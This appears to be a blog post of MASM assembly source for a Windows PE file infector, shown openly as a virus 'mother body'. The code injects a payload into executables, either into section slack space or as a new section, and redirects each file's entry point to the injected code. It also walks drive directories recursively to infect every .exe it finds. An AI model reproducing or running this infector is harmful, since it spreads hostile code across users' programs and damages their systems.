assume ebx:ptr IMAGE_SECTION_HEADER,edx:ptr IMAGE_SECTION_HEADER
;********************************************************************
; (Part 2.1)检查是否有空闲的位置可供插入节表
;********************************************************************
pushad
mov edi,ebx
xor eax,eax
mov ecx,IMAGE_SECTION_HEADER
repz scasb
popad
.if ! ZERO?
;********************************************************************
; (Part 3.1)如果没有新的节表空间的话,则查看现存代码节的最后
; 是否存在足够的全零空间,如果存在则在此处加入代码
;********************************************************************
xor eax,eax
mov ebx,edi
add ebx,sizeof IMAGE_NT_HEADERS
.while ax <= [esi].FileHeader.NumberOfSections
mov ecx,[ebx].SizeOfRawData
.if ecx && ([ebx].Characteristics & IMAGE_SCN_MEM_EXECUTE)
sub ecx,[ebx].Misc.VirtualSize
.if ecx > offset APPEND_CODE_END-offset APPEND_CODE
or [ebx].Characteristics,IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
jmp @F
.endif
.endif
add ebx,IMAGE_SECTION_HEADER
inc ax
.endw
invoke CloseHandle,@hFile
;invoke DeleteFile,addr @szNewFile
;invoke SetWindowText,hWinEdit,addr szErrNoRoom
jmp _Ret
@@:
;********************************************************************
; 将新增代码加入代码节的空隙中
;********************************************************************
mov eax,[ebx].VirtualAddress
add eax,[ebx].Misc.VirtualSize
mov @dwAddCodeBase,eax
mov eax,[ebx].PointerToRawData
add eax,[ebx].Misc.VirtualSize
mov @dwAddCodeFile,eax
add [ebx].Misc.VirtualSize,offset APPEND_CODE_END-offset APPEND_CODE
invoke SetFilePointer,@hFile,@dwAddCodeFile,NULL,FILE_BEGIN
mov ecx,offset APPEND_CODE_END-offset APPEND_CODE
invoke WriteFile,@hFile,offset APPEND_CODE,ecx,addr @dwTemp,NULL
.else
;********************************************************************
; (Part 3.2)如果有新的节表空间的话,加入一个新的节
;********************************************************************
inc [edi].FileHeader.NumberOfSections
push edx
@@:
mov eax,[edx].PointerToRawData
;********************************************************************
; 当最后一个节是未初始化数据时,PointerToRawData和SizeOfRawData等于0
; 这时应该取前一个节的PointerToRawData和SizeOfRawData数据
;********************************************************************
.if ! eax
sub edx,sizeof IMAGE_SECTION_HEADER
jmp @B
.endif
add eax,[edx].SizeOfRawData
pop edx
mov [ebx].PointerToRawData,eax
mov ecx,offset APPEND_CODE_END-offset APPEND_CODE
invoke _Align,ecx,[esi].OptionalHeader.FileAlignment
mov [ebx].SizeOfRawData,eax
invoke _Align,ecx,[esi].OptionalHeader.SectionAlignment
add [edi].OptionalHeader.SizeOfCode,eax ;修正SizeOfCode
add [edi].OptionalHeader.SizeOfImage,eax ;修正SizeOfImage
invoke _Align,[edx].Misc.VirtualSize,[esi].OptionalHeader.SectionAlignment
add eax,[edx].VirtualAddress
mov [ebx].VirtualAddress,eax
mov [ebx].Misc.VirtualSize,offset APPEND_CODE_END-offset APPEND_CODE
mov [ebx].Characteristics,IMAGE_SCN_CNT_CODE\
or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
invoke lstrcpy,addr [ebx].Name1,addr szMySection
;********************************************************************
; 将新增代码作为一个新的节写到文件尾部
;********************************************************************
invoke SetFilePointer,@hFile,[ebx].PointerToRawData,NULL,FILE_BEGIN
invoke WriteFile,@hFile,offset APPEND_CODE,[ebx].Misc.VirtualSize,\
addr @dwTemp,NULL
mov eax,[ebx].PointerToRawData
add eax,[ebx].SizeOfRawData
invoke SetFilePointer,@hFile,eax,NULL,FILE_BEGIN
invoke SetEndOfFile,@hFile
;********************************************************************
push [ebx].VirtualAddress ;eax = 新加代码的基地址
pop @dwAddCodeBase
push [ebx].PointerToRawData
pop @dwAddCodeFile
.endif
;********************************************************************
; (Part 4)修正文件入口指针并写入新的文件头
;********************************************************************
mov eax,@dwAddCodeBase
add eax,(offset _NewEntry-offset APPEND_CODE)
mov     ebx,[esi].OptionalHeader.AddressOfEntryPoint
mov [edi].OptionalHeader.AddressOfEntryPoint,eax
invoke SetFilePointer,@hFile,0,NULL,FILE_BEGIN
invoke WriteFile,@hFile,@lpMemory,[esi].OptionalHeader.SizeOfHeaders,\
addr @dwTemp,NULL
;********************************************************************
; (Part 5)修正新加代码中的 Jmp oldEntry 指令
;********************************************************************
; push [esi].OptionalHeader.AddressOfEntryPoint
       push ebx
         pop @dwEntry
mov eax,@dwAddCodeBase
add eax,(offset _ToOldEntry-offset APPEND_CODE+5)
sub @dwEntry,eax
mov ecx,@dwAddCodeFile
add ecx,(offset _dwOldEntry-offset APPEND_CODE)
invoke SetFilePointer,@hFile,ecx,NULL,FILE_BEGIN
invoke WriteFile,@hFile,addr @dwEntry,4,addr @dwTemp,NULL
;********************************************************************
; (Part 6)关闭文件
;********************************************************************
invoke GlobalFree,@lpMemory
invoke CloseHandle,@hFile
invoke wsprintf,addr @szBuffer,Addr szSuccess,szFileName1
;invoke MessageBox,NULL,addr @szBuffer,offset szCaption,MB_OK

;invoke SetWindowText,hWinEdit,addr @szBuffer
_Ret:
assume esi:nothing
popad
ret


_ProcessPeFile endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

母体入口start



;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 使用 nmake 或下列命令进行编译和链接:
; ml /c /coff prja.asm
; Link /subsystem:windows prja.obj
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.386
.model flat,stdcall
option casemap:none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
include comdlg32.inc
includelib comdlg32.lib
include           C:\RadASM\Masm\Inc\RADbg.inc 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data


szFilter db '*.*',0
szFilterexe db '*.exe',0
szFileName db MAX_PATH dup (?)
 cDir               db              MAX_PATH dup (?)


  cpand               db 'F:\ijfl',0
    cpans               db 'C:\',0
       dpan               db 'D:\',0
          epan               db 'E:\',0
               fpan               db 'F:\',0
                    gpan               db 'G:\',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
include _ProcessPeFile.asm
_OpenFile proc @szFileName2
local @hFile,@dwFileSize,@hMapFile,@lpMemory
;********************************************************************
; 打开文件并建立文件 Mapping
;********************************************************************
               
invoke CreateFile,@szFileName2,GENERIC_READ,FILE_SHARE_READ or \
FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
.if eax != INVALID_HANDLE_VALUE
mov @hFile,eax
invoke GetFileSize,eax,NULL
mov @dwFileSize,eax
.if eax

invoke CreateFileMapping,@hFile,NULL,PAGE_READONLY,0,0,NULL
.if eax
mov @hMapFile,eax
invoke MapViewOfFile,eax,FILE_MAP_READ,0,0,0
.if eax
mov @lpMemory,eax
;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************

;********************************************************************
; 检测 PE 文件是否有效
;********************************************************************
mov esi,@lpMemory
assume esi:ptr IMAGE_DOS_HEADER
.if [esi].e_magic != IMAGE_DOS_SIGNATURE
jmp _ErrFormat
.endif
add esi,[esi].e_lfanew
assume esi:ptr IMAGE_NT_HEADERS
.if [esi].Signature != IMAGE_NT_SIGNATURE
jmp _ErrFormat
.endif

invoke _ProcessPeFile,@lpMemory,esi,@dwFileSize, @szFileName2
;invoke MessageBox,NULL, @szFileName2,offset szCaption,MB_OK
jmp _ErrorExit
_ErrFormat:
invoke MessageBox,NULL,addr szErrFormat,NULL,MB_OK
_ErrorExit:

invoke UnmapViewOfFile,@lpMemory
.endif
invoke CloseHandle,@hMapFile
.endif
invoke CloseHandle,@hFile
.endif
.endif
@@:
ret


_OpenFile endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_FindFile proc _lpszPath
local @stFindFile:WIN32_FIND_DATA
local @hFindFile
local @szPath[MAX_PATH]:byte ;用来存放“路径\”
local @szSearch[MAX_PATH]:byte ;用来存放“路径\*.*”
local @szSearchexe[MAX_PATH]:byte ;用来存放“路径\*.*”
local @szFindFile[MAX_PATH]:byte ;用来存放“路径\找到的文件”


pushad
invoke lstrcpy,addr @szPath,_lpszPath
;********************************************************************
; 在路径后面加上\*.*
;********************************************************************
@@:
invoke lstrlen,addr @szPath
lea esi,@szPath
add esi,eax
xor eax,eax
mov al,'\'
.if byte ptr [esi-1] != al
mov word ptr [esi],ax
.endif
invoke lstrcpy,addr @szSearch,addr @szPath
invoke lstrcat,addr @szSearch,addr szFilter
;********************************************************************
; 寻找文件
;********************************************************************
invoke FindFirstFile,addr @szSearch,addr @stFindFile
.if eax != INVALID_HANDLE_VALUE
mov @hFindFile,eax
.repeat
invoke lstrcpy,addr @szFindFile,addr @szPath
invoke lstrcat,addr @szFindFile,addr @stFindFile.cFileName
.if @stFindFile.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY
.if @stFindFile.cFileName != '.'
;inc dwFolderCount
invoke _FindFile,addr @szFindFile
.endif
.else
;invoke _OpenFile,addr @szFindFile
;invoke MessageBox,NULL,addr @szFindFile,offset szCaption,MB_OK
.endif
invoke FindNextFile,@hFindFile,addr @stFindFile
.until (eax == FALSE) 
invoke FindClose,@hFindFile
.endif
invoke lstrcpy,addr @szSearchexe,addr @szPath
invoke lstrcat,addr @szSearchexe,addr szFilterexe
invoke FindFirstFile,addr @szSearchexe,addr @stFindFile
.if eax != INVALID_HANDLE_VALUE
mov @hFindFile,eax
.repeat
invoke lstrcpy,addr @szFindFile,addr @szPath
invoke lstrcat,addr @szFindFile,addr @stFindFile.cFileName
.if @stFindFile.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY
.if @stFindFile.cFileName != '.'
;inc dwFolderCount
invoke _FindFile,addr @szFindFile
.endif
.else
invoke _OpenFile,addr @szFindFile
;invoke MessageBox,NULL,addr @szFindFile,offset szCaption,MB_OK
.endif
invoke FindNextFile,@hFindFile,addr @stFindFile
.until (eax == FALSE) 
invoke FindClose,@hFindFile
.endif
popad
ret


_FindFile endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
invoke GetCurrentDirectory,MAX_PATH,addr cDir
      invoke _FindFile,addr cpand
 
;invoke MessageBox,NULL,offset cDir,offset szCaption,MB_OK
invoke ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
end start



  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值